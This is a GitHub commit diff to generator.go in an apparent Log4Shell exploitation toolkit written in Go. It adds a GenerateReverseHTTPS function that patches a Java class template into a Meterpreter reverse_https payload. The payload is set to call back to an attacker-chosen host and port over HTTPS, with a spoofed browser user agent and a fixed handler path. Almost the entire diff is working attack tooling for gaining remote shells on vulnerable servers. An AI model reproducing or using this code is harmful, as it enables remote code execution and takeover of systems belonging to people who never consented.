Skip to content

Commit c467a25

Browse files
committed
add GenerateReverseHTTPS to generate class file for meterpreter.
1 parent fefeee7 commit c467a25

File tree

1 file changed

+106
-2
lines changed

1 file changed

+106
-2
lines changed

generator.go

Lines changed: 106 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,7 @@ package log4shell
33
import (
44
"bytes"
55
"encoding/binary"
6+
"fmt"
67
"strconv"
78

89
"github.com/pkg/errors"
@@ -143,8 +144,8 @@ func GenerateSystem(template []byte, binary, arguments, class string) ([]byte, e
143144
return output.Bytes(), nil
144145
}
145146

146-
// GenerateReverseTCP is used to generate class file for
147-
// meterpreter: payload/java/meterpreter/reverse_tcp.
147+
// GenerateReverseTCP is used to generate class file for meterpreter
148+
// payload/java/meterpreter/reverse_tcp.
148149
func GenerateReverseTCP(template []byte, host string, port uint16, token, class string) ([]byte, error) {
149150
const (
150151
fileName = "ReverseTCP.java"
@@ -235,6 +236,109 @@ func GenerateReverseTCP(template []byte, host string, port uint16, token, class
235236
return output.Bytes(), nil
236237
}
237238

239+
// GenerateReverseHTTPS is used to generate class file for meterpreter
240+
// payload/java/meterpreter/reverse_https.
241+
func GenerateReverseHTTPS(template []byte, host string, port uint16, uri, ua, token, class string) ([]byte, error) {
242+
const (
243+
fileName = "ReverseHTTPS.java"
244+
urlFlag = "${url}"
245+
uaFlag = "${ua}"
246+
tokenFlag = "${token}"
247+
className = "ReverseHTTPS\x0C"
248+
uint16Size = 2
249+
)
250+
251+
// the last handler in the url, can not change it
252+
const magic = "0YjdeS7_m93CecZoo8Ntkgs8lRd8_P50Ud2378Ggsvu0FX3VfHF2jbRAQxf" +
253+
"Uk1UkljsZ0Pwz-_bPfTMmytR-fhVGYvyEm-bPNat3i0XRJnm5oH76MBegc7AG3hEe1J1W" +
254+
"G3PDvddN5Id06qqBQR9lZAkJNzFB6VPRJmbsvp_LKp3JDg70FrOcjczkGSRbeht14__lN"
255+
256+
err := checkJavaClass(template)
257+
if err != nil {
258+
return nil, err
259+
}
260+
261+
// find three special strings
262+
fileNameIdx := bytes.Index(template, []byte(fileName))
263+
if fileNameIdx == -1 {
264+
return nil, errors.New("failed to find file name in reverse_https template")
265+
}
266+
urlIdx := bytes.Index(template, []byte(urlFlag))
267+
if urlIdx == -1 {
268+
return nil, errors.New("failed to find url flag in reverse_https template")
269+
}
270+
uaIdx := bytes.Index(template, []byte(uaFlag))
271+
if uaIdx == -1 {
272+
return nil, errors.New("failed to find ua flag in reverse_https template")
273+
}
274+
tokenIdx := bytes.Index(template, []byte(tokenFlag))
275+
if tokenIdx == -1 {
276+
return nil, errors.New("failed to find token flag in reverse_https template")
277+
}
278+
classNameIdx := bytes.Index(template, []byte(className))
279+
if classNameIdx == -1 {
280+
return nil, errors.New("failed to find class name in reverse_https template")
281+
}
282+
283+
// check arguments
284+
if host == "" {
285+
return nil, errors.New("empty host")
286+
}
287+
if port == 0 {
288+
return nil, errors.New("zero port")
289+
}
290+
if uri != "" {
291+
uri = uri + "/"
292+
}
293+
if ua == "" {
294+
ua = "Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko"
295+
}
296+
if token == "" {
297+
token = randString(8)
298+
}
299+
if class == "" {
300+
class = "ReverseHTTPS"
301+
}
302+
303+
// generate output class file
304+
output := bytes.NewBuffer(make([]byte, 0, len(template)+512))
305+
306+
// change file name
307+
output.Write(template[:fileNameIdx-uint16Size])
308+
newFileName := class + ".java"
309+
size := beUint16ToBytes(uint16(len(newFileName)))
310+
output.Write(size)
311+
output.WriteString(newFileName)
312+
313+
// change url
314+
url := fmt.Sprintf("https://%s:%d/%s"+magic, host, port, uri)
315+
output.Write(template[fileNameIdx+len(fileName) : urlIdx-uint16Size])
316+
size = beUint16ToBytes(uint16(len(url)))
317+
output.Write(size)
318+
output.WriteString(url)
319+
320+
// change user agent
321+
output.Write(template[urlIdx+len(urlFlag) : uaIdx-uint16Size])
322+
size = beUint16ToBytes(uint16(len(ua)))
323+
output.Write(size)
324+
output.WriteString(ua)
325+
326+
// change token(random)
327+
output.Write(template[uaIdx+len(uaFlag) : tokenIdx-uint16Size])
328+
size = beUint16ToBytes(uint16(len(token)))
329+
output.Write(size)
330+
output.WriteString(token)
331+
332+
// change class name
333+
output.Write(template[tokenIdx+len(tokenFlag) : classNameIdx-uint16Size])
334+
size = beUint16ToBytes(uint16(len(class)))
335+
output.Write(size)
336+
output.WriteString(class)
337+
338+
output.Write(template[classNameIdx+len(className)-1:])
339+
return output.Bytes(), nil
340+
}
341+
238342
func checkJavaClass(template []byte) error {
239343
if len(template) < 4 {
240344
return errors.New("invalid Java class template file size")

0 commit comments

Comments
 (0)